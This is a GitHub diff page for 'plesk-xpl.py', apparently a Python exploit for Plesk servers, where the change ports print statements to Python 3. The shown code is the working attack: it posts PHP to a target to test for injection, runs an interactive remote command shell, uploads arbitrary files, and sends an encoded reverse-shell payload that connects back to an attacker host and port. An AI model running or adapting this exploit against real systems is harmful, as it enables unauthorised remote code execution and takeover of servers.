Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 15 additions & 15 deletions plesk-xpl.py
Original file line number Diff line number Diff line change
Expand Up @@ -82,31 +82,31 @@ def test(url): # This whole function is ugly as sin
php = """<?php echo "Content-Type:text/html\r\n\r\n"; echo md5('1337x'); ?>""" # I hope they even md5
haxor = requests.post(url, php) # hahaha no, they dont.
if "44e902a5aa760d79b76e070fa6725386" in haxor.text: # hax0r it na0?
print "%s vuln!" %(ip) # yes, this ddos number is wide open
print ("%s vuln!" %(ip)) # yes, this ddos number is wide open
else:
print "%s not vuln" %(ip)
print ("%s not vuln" %(ip))

def shell():
while True: # because. infinite win
try: # there is no try, there is only do, and do not...
cmd = raw_input("shell:~$ ")
if cmd == "quit": #rip
print "\n[-] Quitting"
print ("\n[-] Quitting")
sys.exit(0)
elif cmd == "exit": #rip
print "\n[-] Quitting"
print ("\n[-] Quitting")
sys.exit(0)
else:
try:
payload = genphp(cmd)
hax = requests.post(url, payload)
print hax.text
print (hax.text)
except Exception or KeyboardInterrupt:
print "[-] Exception Caught, I hope"
print ("[-] Exception Caught, I hope")
sys.exit(-5) # why the fork is it minus five anyway?
except Exception or KeyboardInterrupt:
print "[-] Exception or CTRL+C Caught, I hope"
print "[-] Exiting (hopefully) cleanly..."
print ("[-] Exception or CTRL+C Caught, I hope")
print ("[-] Exiting (hopefully) cleanly...")
sys.exit(0)

def upload(url, localfile, remotefile):
Expand All @@ -119,30 +119,30 @@ def upload(url, localfile, remotefile):
fwrite($f, "$x");
fclose($f);
?>""" %(remotefile, encodedfiledata) # I need to add a hashing function sometime for corruption test.
print "[+] Uploading File"
print ("[+] Uploading File")
requests.post(url, phppayload) # this is why I love the python requests library
print "[+] Upload should be complete"
print ("[+] Upload should be complete")
sys.exit(0)

def rshell():
rshell = genrshell(lhost, lport, stype)
print "[+] Generating Payload"
print ("[+] Generating Payload")
payload = genencphp(rshell)
print "[+] Sending reverse shell to %s:%s" %(lhost, lport)
print ("[+] Sending reverse shell to %s:%s" %(lhost, lport))
requests.post(url, payload) # lolhax!
print "[<3] Exiting..."
print ("[<3] Exiting...")
sys.exit(0)

def main(target, mode): # do magic
print "[+] Target is: %s" %(target)
print ("[+] Target is: %s" %(target))
if mode == "UP":
upload(url, localfile, remotefile)
elif mode == "SH":
shell()
elif mode == "RSH":
rshell()
else:
print "[-] Mode Invalid... Exit!"
print ("[-] Mode Invalid... Exit!")
sys.exit(0)

main(target, mode)